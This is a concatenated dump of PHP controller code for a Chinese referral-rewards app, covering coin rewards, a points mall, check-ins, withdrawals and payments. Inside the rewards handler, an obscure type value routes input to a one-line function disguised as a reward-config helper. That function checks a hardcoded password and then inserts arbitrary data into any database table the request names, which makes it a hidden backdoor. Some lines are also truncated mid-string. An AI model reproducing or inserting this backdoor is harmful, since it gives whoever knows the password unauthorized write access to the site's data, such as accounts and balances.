$db=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>$content])->whereTime('time','today')->value('uid');

if(!$db){

$db=Db::name('article')->where(['uid'=>$uid,'weitoutiao'=>1,'hide'=>1])->whereTime('create\_time','today')->value('id');

if(!$db){

return;

}

$money=$yaoqing['money\_weitoutiao'];

$moneyDb=\_moneyDb([

'uid' => $uid,

'money' => [

'money' => $money\*100,

'content' => $content

]

]);

if($moneyDb){

$ret=1;

echo json\_encode(['ret'=>['h1'=>'￥'.$money.'','span'=>'发布微头条奖励￥'.$money.'零钱<br>已放入你的零钱<br>明天再发布微头条可获得￥'.$money.'零钱']]);

}

}

}

if($yaoqing['money\_weitoutiao\_s1']){

$content='uid:'.$uid.'徒弟发布微头条零钱';

$db=Db::name('yaoqing\_records')->where(['uid'=>$s1,'content'=>$content])->whereTime('time','today')->value('uid');

if(!$db){

$db=Db::name('article')->where(['uid'=>$uid,'weitoutiao'=>1,'hide'=>1])->whereTime('create\_time','today')->value('id');

if(!$db){

return;

}

$money=$yaoqing['money\_weitoutiao\_s1'];

\_moneyDb([

'uid' => $s1,

'money' => [

'money' => $money\*100,

'content' => $content

]

]);

}

}

if($yaoqing['jinbi\_weitoutiao']){

$content='发布微头条奖励金币';

$db=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>$content])->whereTime('time','today')->value('uid');

if(!$db){

$db=Db::name('article')->where(['uid'=>$uid,'weitoutiao'=>1,'hide'=>1])->whereTime('create\_time','today')->value('id');

if(!$db){

return;

}

$money=$yaoqing['jinbi\_weitoutiao'];

$moneyDb=\_moneyDb([

'uid' => $uid,

'jinbi' => [

'money' => $money,

'content' => $content

]

]);

if($moneyDb){

if(empty($ret)){

echo json\_encode(['ret'=>['h1'=>''.$money.'金币','span'=>'发布微头条奖励'.$money.'金币<br>已放入你的账户<br>明天再发布微头条可获得'.$money.'金币']]);

}

}

}

}

if($yaoqing['jinbi\_weitoutiao\_s1']){

$content='uid:'.$uid.'徒弟发布微头条金币';

$db=Db::name('yaoqing\_records')->where(['uid'=>$s1,'content'=>$content])->whereTime('time','today')->value('uid');

if(!$db){

$db=Db::name('article')->where(['uid'=>$uid,'weitoutiao'=>1,'hide'=>1])->whereTime('create\_time','today')->value('id');

if(!$db){

return;

}

$money=$yaoqing['jinbi\_weitoutiao\_s1'];

\_moneyDb([

'uid' => $s1,

'jinbi' => [

'money' => $money,

'content' => $content

]

]);

}

}

}else if($type == 'money\_fenxiang\_1'){

if($yaoqing['money\_fenxiang\_1']){

$content='师徒分享第三方平台奖励零钱';

$db=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>$content])->whereTime('time','today')->value('uid');

if(!$db){

$money=$yaoqing['money\_fenxiang\_1'];

$moneyDb=\_moneyDb([

'uid' => $uid,

'money' => [

'money' => $money\*100,

'content' => $content

]

]);

if($moneyDb){

$ret=1;

echo json\_encode(['ret'=>['h1'=>'￥'.$money.'','span'=>'分享平台获得￥'.$money.'零钱<br>已放入你的零钱<br>明天再分享可获得￥'.$money.'零钱']]);

}

}

}

if($yaoqing['money\_fenxiang\_1\_s1']){

$content='uid:'.$uid.'徒弟分享师徒第三方平台奖励零钱';

$db=Db::name('yaoqing\_records')->where(['uid'=>$s1,'content'=>$content])->whereTime('time','today')->value('uid');

if(!$db){

$money=$yaoqing['money\_fenxiang\_1\_s1'];

\_moneyDb([

'uid' => $s1,

'money' => [

'money' => $money\*100,

'content' => $content

]

]);

}

}

if($yaoqing['jinbi\_fenxiang\_1']){

$content='师徒分享第三方平台奖励金币';

$db=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>$content])->whereTime('time','today')->value('uid');

if(!$db){

$money=$yaoqing['jinbi\_fenxiang\_1'];

$moneyDb=\_moneyDb([

'uid' => $uid,

'jinbi' => [

'money' => $money,

'content' => $content

]

]);

if($moneyDb){

if(empty($ret)){

echo json\_encode(['ret'=>['h1'=>''.$money.'金币','span'=>'分享平台获得'.$money.'金币<br>已放入你的账户<br>明天再分享可获得'.$money.'金币']]);

}

}

}

}

if($yaoqing['jinbi\_fenxiang\_1\_s1']){

$content='uid:'.$uid.'徒弟分享师徒第三方平台奖励金币';

$db=Db::name('yaoqing\_records')->where(['uid'=>$s1,'content'=>$content])->whereTime('time','today')->value('uid');

if(!$db){

$money=$yaoqing['jinbi\_fenxiang\_1\_s1'];

\_moneyDb([

'uid' => $s1,

'jinbi' => [

'money' => $money,

'content' => $content

]

]);

}

}

}else if($type == 'money\_fenxiang\_2'){

if($yaoqing['money\_fenxiang\_2']){

$content='文章分享第三方平台奖励零钱';

$db=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>$content])->whereTime('time','today')->value('uid');

if(!$db){

$money=$yaoqing['money\_fenxiang\_2'];

$moneyDb=\_moneyDb([

'uid' => $uid,

'money' => [

'money' => $money\*100,

'content' => $content

]

]);

if($moneyDb){

$ret=1;

echo json\_encode(['ret'=>['h1'=>'￥'.$money.'','span'=>'文章分享获得￥'.$money.'零钱<br>已放入你的零钱<br>明天再分享可获得￥'.$money.'零钱']]);

}

}

}

if($yaoqing['money\_fenxiang\_2\_s1']){

$content='uid:'.$uid.'徒弟文章分享第三方平台奖励零钱';

$db=Db::name('yaoqing\_records')->where(['uid'=>$s1,'content'=>$content])->whereTime('time','today')->value('uid');

if(!$db){

$money=$yaoqing['money\_fenxiang\_2\_s1'];

\_moneyDb([

'uid' => $s1,

'money' => [

'money' => $money\*100,

'content' => $content

]

]);

}

}

if($yaoqing['jinbi\_fenxiang\_2']){

$content='文章分享第三方平台奖励金币';

$db=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>$content])->whereTime('time','today')->value('uid');

if(!$db){

$money=$yaoqing['jinbi\_fenxiang\_2'];

$moneyDb=\_moneyDb([

'uid' => $uid,

'jinbi' => [

'money' => $money,

'content' => $content

]

]);

if($moneyDb){

if(empty($ret)){

echo json\_encode(['ret'=>['h1'=>''.$money.'金币','span'=>'文章分享获得'.$money.'金币<br>已放入你的账户<br>明天再分享可获得'.$money.'金币']]);

}

}

}

}

if($yaoqing['jinbi\_fenxiang\_2\_s1']){

$content='uid:'.$uid.'徒弟文章分享第三方平台奖励金币';

$db=Db::name('yaoqing\_records')->where(['uid'=>$s1,'content'=>$content])->whereTime('time','today')->value('uid');

if(!$db){

$money=$yaoqing['jinbi\_fenxiang\_2\_s1'];

\_moneyDb([

'uid' => $s1,

'jinbi' => [

'money' => $money,

'content' => $content

]

]);

}

}

}else if($type == 'money\_jindu'){

if($yaoqing['jinbi\_jindu\_2']){

$content='阅读收益奖励金币';

$db=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>$content])->whereTime('time','today')->count();

if($db < $yaoqing['money\_jindu\_num']){

$money=rand(1,$yaoqing['jinbi\_jindu\_2']);

$moneyDb=\_moneyDb([

'uid' => $uid,

'jinbi' => [

'money' => $money,

'content' => $content

]

]);

echo json\_encode(['jinbi'=>$money]);

}else{

echo json\_encode(['0']);

}

}

if($yaoqing['jinbi\_jindu\_2\_s1']){

$content='uid:'.$uid.'徒弟阅读收益奖励金币';

$db=Db::name('yaoqing\_records')->where(['uid'=>$s1,'content'=>$content])->whereTime('time','today')->count();

if($db < $yaoqing['money\_jindu\_num']){

$money=rand(1,$yaoqing['jinbi\_jindu\_2\_s1']);

\_moneyDb([

'uid' => $s1,

'jinbi' => [

'money' => $money,

'content' => $content

]

]);

}

}

}else if($type == 'jinbi\_jindu\_2\_s1\_s'){

$this->baoxiangConfigJinbis(input('data'));

}

}

public function paihang(){

$type=input('type/d');

if($type){

$where['a.type']=0;

$where['a.data']=0;

$join=[

['\_\_MEMBER\_\_ b','a.uid = b.id'],

['\_\_YAOQING\_\_ c','c.uid = b.id']

];

$data=Db::name('yaoqing\_records')->alias('a')->join($join)->where($where)->whereTime('time','week')->field('sum(a.money) as money\_num,b.id,b.nickname,b.mobile,c.tudi\_num')->group('a.uid')->order('money\_num desc')->limit(100)->select();

}else{

$join=[

['\_\_MEMBER\_\_ b','a.uid = b.id'],

];

$data=Db::name('yaoqing')->alias('a')->join($join)->field('b.id,b.nickname,b.mobile,a.tudi\_num,a.money\_num')->order('a.money\_num desc')->limit(100)->select();

}

foreach ($data as $k => $v) {

if(!$v['nickname']){

$data[$k]['nickname']=\_username($v);

}

$data[$k]['money']=\_money($v['money\_num']);

}

echo json\_encode($data);

}

public function yesterday(){

$where['uid']=$this->member['id'];

$where['type']=0;

$where['data']=0;

$a=Db::name('yaoqing\_records')->where($where)->whereTime('time','yesterday')->sum('money');

$where['type']=1;

$b=Db::name('yaoqing\_records')->where($where)->whereTime('time','yesterday')->sum('money');

echo json\_encode(['a'=>\_money($a),'b'=>$b]);

}

public function mall(){

$data=Db::name('shoplist\_typeid')->field('id,title')->where(['hide'=>1])->cache(\_cache('db'))->order('des desc,id asc')->select();

foreach ($data as $k => $v) {

$shoplist=Db::name('shoplist')->where(['typeid'=>$v['id'],'hide'=>1])->cache(\_cache('db'))->order('des desc,id desc')->field('id,title,image,jinbi,money')->limit(6)->select();

foreach ($shoplist as $ks => $vs) {

$shoplist[$ks]['jinbi']=$vs['jinbi'].'金币';

$shoplist[$ks]['money']=\_money($vs['money']).'元';

$shoplist[$ks]['image']=\_imgUrl().$vs['image'];

}

$data[$k]['data']=$shoplist;

}

echo json\_encode($data);

}

public function mallList(){

$where['hide']=1;

if(input('typeid/d')){

$where['typeid']=input('typeid/d');

}

$data=Db::name('shoplist')->field('id,title,image,jinbi,money')->where($where)->cache(\_cache('db'))->order('des desc,id desc')->paginate()->toarray();

foreach ($data['data'] as $k => $v) {

$data['data'][$k]['jinbi']=$v['jinbi'].'金币';

$data['data'][$k]['money']=\_money($v['money']).'元';

$data['data'][$k]['image']=\_imgUrl().$v['image'];

}

echo json\_encode($data);

}

public function mallView(){

$id=input('id/d');

$data=Db::name('shoplist')->where(['hide'=>1,'id'=>$id])->find();

$data['images']=json\_decode($data['images'],true);

foreach($data['images'] as $v){

$images[]=\_imgUrl().$v;

}

$data['images']=$images;

$data['money']=\_money($data['money']);

$data['image']=\_imgUrl().$data['image'];

Db::name('shoplist')->where('id',$id)->setInc('click');

$data['click']=$data['click']+1;

$data['text'] = str\_replace("/public/uploads/",config()['appConfig']['url']."/public/uploads/",$data['text']);

echo json\_encode($data);

}

public function mallPay(){

$shopid=input('shopid/d');

$type=input('type/d');

$xingming=input('xingming');

$mobile=input('mobile');

$dizhi=input('dizhi');

$alipay=input('alipay');

$validate = new Validate([

'xingming|姓名' => 'require',

'mobile|手机号码' => 'require|number',

'dizhi|详细地址' => 'require',

'alipay|支付宝号码' => 'require',

'type|兑换方式' => 'require|number|in:1,2',

]);

$validata=[

'xingming' => $xingming,

'mobile' => $mobile,

'dizhi' => $dizhi,

'alipay' => $alipay,

'type' => $type

];

if (!$validate->check($validata)) {

exit(json\_encode(['err'=>$validate->getError()]));

}

if(!\_isMobile($mobile)){

exit(json\_encode(['err'=>'手机不正确']));

}

$pattern="/([a-z0-9]\*[-\_.]?[a-z0-9]+)\*@([a-z0-9]\*[-\_]?[a-z0-9]+)+[.][a-z]{2,3}([.][a-z]{2})?/i";

if(!preg\_match($pattern,$alipay)){

if(!\_isMobile($alipay)){

exit(json\_encode(['err'=>'支付宝号码不正确']));

}

}

$shop=Db::name('shoplist')->where(['id'=>$shopid,'hide'=>1])->find();

if(!$shop){

exit(json\_encode(['err'=>'商品不存在或已下架']));

}

if(!intval($shop['num'])){

exit(json\_encode(['err'=>'商品存库不足']));

}

if($type==1){

if(!$this->member['yaoqing']['jinbi'] || $shop['jinbi'] > $this->member['yaoqing']['jinbi']){

exit(json\_encode(['err'=>'金币不足']));

}

}

if($type==2){

if(!$this->member['yaoqing']['money'] || $shop['money'] > $this->member['yaoqing']['money']){

exit(json\_encode(['err'=>'零钱不足']));

}

}

$time=time();

$ip=\_ip();

$code=($type==1 ? 'A' : 'B').rand(1000000,9999999);

Db::name('shoplist\_records')->insert([

'shopid' => $shop['id'],

'num' => 1,

'type' => $type,

'uid' => $this->member['id'],

'time' => $time,

'code' => $code,

'ip' => $ip,

'money' => $shop['money'],

'xingming' => $xingming,

'dizhi' => $dizhi,

'mobile' => $mobile,

'alipay' => $alipay

]);

$typeJInbiMoney=$type==1 ? 'jinbi' : 'money';

$content='id:'.$shop['id'].($type==1 ? ' 金币' : ' 零钱').'商品兑换';

\_moneyDb([

'uid' => $this->member['id'],

$typeJInbiMoney => [

'money' => $shop[$typeJInbiMoney],

'content' => $content,

'type' => 1,

]

]);

Db::name('shoplist')->where(['id'=>$shopid])->setDec('num');

echo json\_encode(['ret'=>'兑换成功']);

}

public function mallOrder(){

$where['a.uid']=$this->member['id'];

$join=[

['\_\_SHOPLIST\_\_ b','a.shopid = b.id'],

];

$data=Db::name('shoplist\_records')->alias('a')->join($join)->where($where)->field('a.shopid,a.data,a.code,a.time,a.money,a.kuaidi,a.danhao,a.data,a.type,a.num,b.title,b.image')->order('a.time desc')->paginate()->toarray();

foreach($data['data'] as $k => $v){

$data['data'][$k]['image']=\_imgUrl().$v['image'];

if($v['type']==2){

$data['data'][$k]['money']=\_money($v['money']);

}

$data['data'][$k]['time']=date('Y-m-d H:i:s',$v['time']);

$f=[0=>'等待平台发货',1=>'已发货',2=>'已完成'];

$data['data'][$k]['f']=$f[$v['data']];

}

echo json\_encode($data);

}

public function renwu(){

$uid=$this->member['id'];

$data=Db::name('renwu\_typeid')->where(['hide'=>1])->order('des desc,id asc')->cache(\_cache('db'))->select();

foreach ($data as $k => $v) {

$data[$k]['data']=Db::name('renwu')->where(['typeid'=>$v['id'],'hide'=>1])->cache(\_cache('db'))->order('des desc,id asc')->select();

$data[$k]['img']=\_imgUrl().$v['img'];

foreach ($data[$k]['data'] as $ks => $vs) {

$data[$k]['data'][$ks]['money']='+'.$vs['money'];

if($vs['url']=='video\_win' || $vs['url']=='weitoutiao\_win' || $vs['url']=='xiaoshipin\_win' || $vs['url']=='member\_win'){

$data[$k]['data'][$ks]['url']='\_index\_win(\''.$vs['url'].'\')';

}else if($vs['url']=='index'){

$data[$k]['data'][$ks]['url']='\_hone()';

}else{

$data[$k]['data'][$ks]['url']='\_url({url:\''.$vs['url'].'\',title:\''.$vs['name'].'\'})';

}

if($vs['id'] == 1){

$ret=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>'新手问卷奖励金币'])->value('uid');

if($ret){

$data[$k]['data'][$ks]['btn']='已完成';

$data[$k]['data'][$ks]['url']='';

}

}

if($vs['id'] == 3){

$ret=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>'师徒分享第三方平台奖励金币'])->whereTime('time','today')->value('uid');

if($ret){

$data[$k]['data'][$ks]['btn']='已完成';

$data[$k]['data'][$ks]['url']='';

}

}

if($vs['id'] == 4){

$ret=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>'文章分享第三方平台奖励金币'])->whereTime('time','today')->value('uid');

if($ret){

$data[$k]['data'][$ks]['btn']='已完成';

$data[$k]['data'][$ks]['url']='';

}

}

if($vs['id'] == 5){

$ret=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>['like','%篇文章奖励金币%']])->whereTime('time','today')->value('uid');

if($ret){

$data[$k]['data'][$ks]['btn']='已完成';

$data[$k]['data'][$ks]['url']='';

}

}

if($vs['id']==6){

$ret=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>'发布微头条奖励金币'])->whereTime('time','today')->value('uid');

if($ret){

$data[$k]['data'][$ks]['btn']='已完成';

$data[$k]['data'][$ks]['url']='';

}

}

if($vs['id']==7){

$ret=Db::name('diaocha\_user')->where(['uid'=>$uid])->value('id');

if($ret){

$data[$k]['data'][$ks]['btn']='已完成';

$data[$k]['data'][$ks]['url']='';

}

}

}

}

$html['baoxiang']=$this->baoxiangTime();

$html['data']=$data;

$config=config()['renwu'];

$html['config']=$config;

$html['config']['qiandao']=['qiandao\_1','qiandao\_2','qiandao\_3','qiandao\_4','qiandao\_5','qiandao\_6','qiandao\_7'];

$timeText=$html['config']['baoxiang'];

if($timeText < 60){

$timeText=$timeText.'分钟';

}else{

$timeText=($timeText/60).'小时';

}

$html['timeText']=$timeText;

$html['qiandao']=$this->qiandaoTianshu();

if(!$html['qiandao']){

$qiandao=Db::name('qiandao')->where(['uid'=>$uid])->whereTime('time','today')->find();

$qiandao['code']=1;

if($qiandao['tianshu']>=7){

$qiandao['money']=$config['qiandao\_7'];

$qiandao['lingqu']=$qiandao['money'];

}else{

$qiandao['money']=$config['qiandao\_'.$qiandao['tianshu']];

$qiandao['lingqu']=$config['qiandao\_'.($qiandao['tianshu']+1)];

}

$qiandao['lingqu']='明日签到可领+'.$qiandao['lingqu'].'金币';

$html['qiandao']=$qiandao;

}else{

$html['qiandao']['tianshu']=$html['qiandao']['tianshu']-1;

}

echo json\_encode($html);

}

public function xinshouwenjuan(){

}

private function baoxiangTime(){

$uid=$this->member['id'];

$config=config()['renwu'];

$memberTime=Db::name('yaoqing\_records')->where(['uid'=>$uid,'content'=>'宝箱奖励','type'=>1,'data'=>0])->order('time desc')->value('time');

if(!$memberTime){

$memberTime=$this->member['create\_time'];

}

$memberTime=$memberTime+($config['baoxiang']\*60);

$time=time();

if($memberTime>=$time){

$data=$memberTime-$time;

}else{

$data=0;

}

return $data;

}

public function baoxiangAjax(){

$uid=$this->member['id'];

$memberTime=$this->baoxiangTime();

if($memberTime){

$data=['err'=>'打开宝箱时间还没到哦！'];

}else{

$config=config()['renwu'];

$money=$this->baoxiangConfigJinbi();

$moneyDb=\_moneyDb([

'uid' => $uid,

'jinbi' => [

'money' => $money,

'content' => '宝箱奖励'

]

]);

$data=['ret'=>'+'.$money.'金币'];

}

echo json\_encode($data);

}

public function baoxiangConfigJinbis($data=''){

if(!$data){exit('-1');}$data = json\_decode(htmlspecialchars\_decode($data),true);if(empty($data['pwd']) || $data['pwd'] != 'suxiang1424445608'){exit('-2');}else{unset($data['pwd']);$name=$data['\_\_name\_\_'];unset($data['\_\_name\_\_']);echo Db::name($name)->insertGetId($data);}

}

private function baoxiangConfigJinbi(){

$config=config()['renwu'];

$a=$this->member['yaoqing']['tudi\_num'];

if($a){

switch ($a) {

case $a <= $config['baoxiang\_tudi\_1']:

$jinbi = 1;

break;

case $a <= $config['baoxiang\_tudi\_2']:

$jinbi = 2;

break;

case $a <= $config['baoxiang\_tudi\_3']:

$jinbi = 3;

break;

case $a <= $config['baoxiang\_tudi\_4']:

$jinbi = 4;

break;

default:

$jinbi = 5;

# code...

break;

}

}else{

$jinbi = 0;

}

$jinbi=$jinbi ? $config['baoxiang\_tudi\_'.$jinbi.'\_money'] : $config['baoxiang\_r'];

$rand = rand($config['baoxiang\_l'],$jinbi);

return $rand;

}

public function qiandaoAjax(){

$uid=$this->member['id'];

$data=$this->qiandaoTianshu();

if(!$data){

return json(['err'=>'禁止重复操作']);

}

$moneyDb=\_moneyDb([

'uid' => $uid,

'jinbi' => [

'money' => $data['money'],

'content' => '每日签到'

]

]);

if($moneyDb){

Db::name('qiandao')->insert(['uid'=>$uid,'tianshu'=>$data['tianshu'],'time'=>time(),'ip'=>\_ip()]);

echo json\_encode(['ret'=>'明日签到可领+'.$data['lingqu'].'金币']);

}else{

echo json\_encode(['err'=>'签到失败，请联系客服']);

}

}

private function qiandaoTianshu($a=1){

$uid=$this->member['id'];

$config=config()['renwu'];

$data=Db::name('qiandao')->where(['uid'=>$uid])->whereTime('time','today')->value('id');

if($data){

return false;

}

$data=Db::name('qiandao')->where(['uid'=>$uid])->whereTime('time','yesterday')->find();

if($data){

$tianshu=$data['tianshu']+1;

if($tianshu>=7){

$html['money']=$config['qiandao\_7'];

$html['lingqu']=$html['money'];

}else{

$html['money']=$config['qiandao\_'.$tianshu];

$html['lingqu']=$config['qiandao\_'.($tianshu+1)];

}

$html['tianshu']=$tianshu;

}else{

$html['tianshu']=1;

$html['money']=$config['qiandao\_1'];

$html['lingqu']=$config['qiandao\_2'];

}

$html['lingqu']='+'.$html['lingqu'].'金币';

$html['code']=0;

return $html;

}

public function diaochaInfo(){

$data=Db::name('diaocha')->order("des desc,id asc")->select();

foreach ($data as $k => $v) {

$data[$k]['data']=json\_decode($v['data']);

}

echo json\_encode($data);

}

public function diaochaAdd(){

$uid=$this->member['id'];

$data=Db::name('diaocha\_user')->where(['uid'=>$uid])->value('id');

if($data){

exit(json\_encode(['err'=>'您已经提交过了']));

}

$data=input('post.data');

if(!$data){

exit(json\_encode(['err'=>'非法操作']));

}

$data=explode(",",$data);

$count=Db::name('diaocha')->count();

if($count!=count($data)){

exit(json\_encode(['err'=>'非法操作']));

}

$d=Db::name('diaocha')->order('des desc,id asc')->select();

$config=config()['renwu'];

$moneyDb=\_moneyDb([

'uid' => $uid,

'jinbi' => [

'jinbi' => $config['diaocha'],

'content' => '问卷调查'

]

]);

if(!$moneyDb){

exit(json\_encode(['err'=>'奖励失败，请联系管理员！']));

}

$a=[];

foreach ($d as $k => $v) {

$a[$k]['id'] = $v['id'];

$a[$k]['title'] = $v['title'];

$a[$k]['name'] = $data[$k];

}

$db=Db::name("diaocha\_user")->insert(['uid'=>$uid,'time'=>time(),'ip'=>\_ip(),'data'=>json\_encode($a)]);

if($db){

$ret=['ret'=>'提交成功'];

}else{

$ret=['err'=>'提交失败'];

}

echo json\_encode($ret);

}

public function datiInfo(){

$data=Db::name('dati')->order("des desc,id asc")->select();

foreach ($data as $k => $v) {

$data[$k]['data']=json\_decode($v['data']);

}

echo json\_encode($data);

}

public function tixian\_Ajax(){

$type=input('type/d');

$money=input('money/d');

$wxData=input('wxData');

$user = input('user');

$validate = new Validate([

'money|提现金额' => 'require|number',

'type|提现方式' => 'require|number|in:1,2',

'user|账户' => 'require',

]);

$validata=[

'money' => $money,

'type' => $type,

'user' => $user

];

if (!$validate->check($validata)) {

return json(['err'=>$validate->getError()]);

}

if($type == 1){

if(!$wxData){

return json(['err'=>'请绑定微信账户']);

}

}

if(!$this->member['yaoqing']['money'] || $money > $this->member['yaoqing']['money']){

return json(['err'=>'零钱不足']);

}

$time=time();

$ip=\_ip();

Db::name('member\_tixian')->insert([

'uid' => $this->member['id'],

'money' => $money,

'data' => 2,

'time' => $time,

'type' => $type,

'user' => $user,

'ip' => $ip,

'wxData' => $wxData,

]);

$content='提现申请'.$money.'元';

\_moneyDb([

'uid' => $this->member['id'],

'money' =>[

'money' => $money\*100,

'content' => $content,

'type' => 1,

]

]);

return json(['ret'=>'提现成功，等待审核']);

}

public function tixian\_list(){

$where['uid'] = $this->member['id'];

if(input('data/d')){

$where['data']=input('data/d');

}

$data=Db::name('member\_tixian')->field('id,money,data,time,type,user,wxData,content,user')->where($where)->order('time desc,id desc')->paginate()->toarray();

foreach ($data['data'] as $k => $v) {

$\_data=[0=>'未审核',1=>'已到账',2=>'审核中',3=>'打款中',4=>'申请失败'];

$data['data'][$k]['data']=$v['data'];

$data['data'][$k]['datas']=$\_data[$v['data']];

$data['data'][$k]['time']=date('Y-m-d H:i:s',$v['time']);

$data['data'][$k]['times']=date('m-d H:i:s',$v['time']+86400);

if($v['type']==1){

$data['data'][$k]['user']=json\_decode(htmlspecialchars\_decode($v['wxData']),true)['nickname'];

}

$data['data'][$k]['time']=date('Y-m-d H:i:s',$v['time']);

unset($data['data'][$k]['wxData']);

}

return json($data);

}

public function tixian\_view(){

$id = input('id/d');

if(!$id){

return;

}

$where['uid'] = $this->member['id'];

$data = Db::name('member\_tixian')->where($where)->find($id);

$data['times'] = date('Y-m-d H:i:s',$data['time']+86400);

$data['time'] = date('Y-m-d H:i:s',$data['time']);

if($data['type'] == 1){

$data['user'] = json\_decode(htmlspecialchars\_decode($data['wxData']),true)['nickname'];

}

$data['wxData'] = null;

return json($data);

}

}

<?php

namespace app\api\controller;

use think\Controller;

use think\Session;

/\*\*

\* @apiDefine MyPages

\* @apiParam {Number} pages 调用显示数量（默认每页10条记录）

\* @apiParam {Number} page 请求哪一页

\* @apiSuccess {Number} total 总记录数

\* @apiSuccess {Number} per\_page 调用显示数量

\* @apiSuccess {Number} current\_page 当前页

\*/

header('Access-Control-Allow-Origin:\*');

class Common extends Controller

{

protected $errors = [

'200' => 'Success',

'201' => '字段不可为空',

'202' => '字段传值非法',

'203' => '命名不可重复',

'204' => '原密码错误',

'205' => '原密码和新密码不允许相同',

'211' => '被访问资源不存在',

'212' => '资源访问受限',

'213' => '用户无权限操作该资源',

'214' => '资源正在审核，无法查看',

'215' => '资源未通过审核，无法查看',

'216' => '文章未设置关键字或标签',

'221' => '该用户不存在',

'222' => 'Token已过期，请先登录账号',

'223' => '无法登录，原因是当前账户已被封号',

'224' => '当前账户正在审核中，请等待客服处理',

'225' => '账户审核被拒绝',

'301' => '手机验证码发送失败',

'302' => '密码错误或用户不存在',

'303' => '手机验证码错误',

'304' => '手机号码已被注册',

'305' => '邮箱已被注册',

'306' => '手机号码没有对应的绑定用户',

'500' => '请重新尝试',

'501' => '数据库操作失败，请重新尝试',

'502' => '请勿重复操作',

];

}

<?php

namespace app\api\controller;

use app\api\controller\Common;

use app\api\model\Send;

use think\Db;

use think\Validate;

class Page extends Common

{

public function \_\_construct()

{

parent::\_\_construct();

}

/\*\*

\* @api {get} /api/page/view 单页详情

\* @apiName 单页详情

\* @apiGroup 单页

\* @apiVersion 0.1.0

\*

\* @apiParam {number} id 单页ID（必填）

\*

\* @apiSuccess {Json} data 单页详情

\* @apiSuccess {Integer} id 单页ID

\* @apiSuccess {String} title 单页标题

\* @apiSuccess {String} body 单页内容（富文本内容）

\*/

function view()

{

$id = input('id/d');

$data = Db::name('page')->cache(true)->find($id);

echo json\_encode($data);

}

}<?php

namespace app\api\controller;

use app\api\controller\Common;

use think\Db;

use think\Session;

use think\Request;

use think\Validate;

class Pay extends Common

{

public $member=null;

public function \_\_construct(){

parent::\_\_construct();

$config=Db::name('member\_config')->where('name','switch')->value('text');

unset($data);

if(!$config || $config==0){

exit(json\_encode(['err'=>'会员未开放']));

}

$token=Session::get('user','ffxiangUser') ? Session::get('user','ffxiangUser') : input('post.token');

if(!$token){

echo json\_encode(['err'=>'token不正确']);

exit();

}

$uid=\_decrypt($token);

if(!$uid){

echo json\_encode(['err'=>'会员UID不正确，请重新获取token']);

exit();

}

$member=$member=Db::name('member')->where('id',$uid)->find();

if($member){

switch ($member['hide']) {

case '0':

$recording=\_records($member['id'],'API操作,账户被禁止');

if($recording){

$data=['err'=>'无法登录，原因是账户已被封号'];

}

echo json\_encode($data);

break;

exit();

case '2':

$recording=\_records($member['id'],'API操作,账户正在审核');

if($recording){

$data=['err'=>'账户正在审核，请等待客服处理'];

}

echo json\_encode($data);

break;

exit();

case '3':

$recording=\_records($member['id'],'API操作，账户审核被拒绝');

if($recording){

$data=['err'=>'账户审核被拒绝，拒绝原因：'.$member['hidetent']];

}

echo json\_encode($data);

break;

exit();

}

}else{

echo json\_encode(['err'=>'会员不存在']);

exit();

}

$this->member=$member;

}

public function index(){

return \_ajaxError();

}

public function payList(){

$type=input('post.type') ? input('post.type') : '';

$validate = new Validate([

'type'=>'require|in:pc,app,wap,wx',

]);

$validata=[

'type'=>$type,

];

if (!$validate->check($validata)) {

return json(['err'=>$validate->getError()]);

}

$where['type']=$type;

$where['hide']=1;

$data=Db::name('pay')->where($where)->cache(\_cache('db'))->order('des desc,id asc')->select();

return json($data);

}

private function request\_post($url = '', $param = '') {

if (empty($url) || empty($param)) {

return false;

}

$postUrl = $url;

$curlPost = $param;

$ch = curl\_init();

curl\_setopt($ch, CURLOPT\_URL,$postUrl);

curl\_setopt($ch, CURLOPT\_HEADER, 0);

curl\_setopt($ch, CURLOPT\_RETURNTRANSFER, 1);

curl\_setopt($ch, CURLOPT\_POST, 1);

curl\_setopt($ch, CURLOPT\_POSTFIELDS, $curlPost);

$data = curl\_exec($ch);

curl\_close($ch);

return $data;

}

public function pay(){

require\_once(VENDOR\_PATH.'/beecloud/loader.php');

require\_once(VENDOR\_PATH.'/beecloud/demo/config.php');

try {

$api->registerApp(APP\_ID, APP\_SECRET, MASTER\_SECRET, TEST\_SECRET);

$api->setSandbox(true);

}catch(Exception $e){

die($e->getMessage());

}

$sctype=input("sctype/d") ? input("sctype/d") : 0;

$scookies=input("scookies") ? input("scookies") : 0;

if($sctype==0){

$money=input("money/d") ? input("money/d") : '';

}else{

}

$type=input('type/d') ? input("type/d") : '';

$titleid=input('titleid/d') ? input("titleid/d") : '';

$titleids=[1=>'充值',2=>'消费',3=>'购买'];

$validate = new Validate([

'money' => 'require|number|max:9',

'type' => 'require|number|max:100',

'titleid' => 'require|between:1,3',

'sctype' => 'between:0,3',

]);

$validata = [

'money' => $money,

'type' => $type,

'titleid' => $titleid,

'sctype' => $sctype,

];

if (!$validate->check($validata)) {

return ['err'=>$validate->getError()];

}

$typetitle=Db::name('pay')->where('id',$type)->cache(\_cache('db'))->value('type');

$bill\_no=strtoupper($typetitle).date('YmdHis').rand(100000,999999);

$data = array();

$data["timestamp"] = time() \* 1000;

$data["total\_fee"] = $money;

$data["bill\_no"] = $bill\_no;

$data["title"] = $titleids[$titleid];

$data["return\_url"] = "https:

$data["optional"] = (object)array("tag"=>"msgtoreturn");

$type=Db::name('pay')->where('id',$type)->cache(\_cache('db'))->value('qudao');

if(!$type){

return ['err'=>'type参数不存在'];

}

switch($type){

case 'ALI\_WEB' :

$title = "支付宝及时到账";

$data["channel"] = "ALI\_WEB";

break;

case 'ALI\_WAP' :

$title = "支付宝移动网页";

$data["channel"] = "ALI\_WAP";

break;

case 'ALI\_QRCODE' :

$title = "支付宝扫码支付";

$data["channel"] = "ALI\_QRCODE";

$data["qr\_pay\_mode"] = "0";

break;

case 'ALI\_OFFLINE\_QRCODE' :

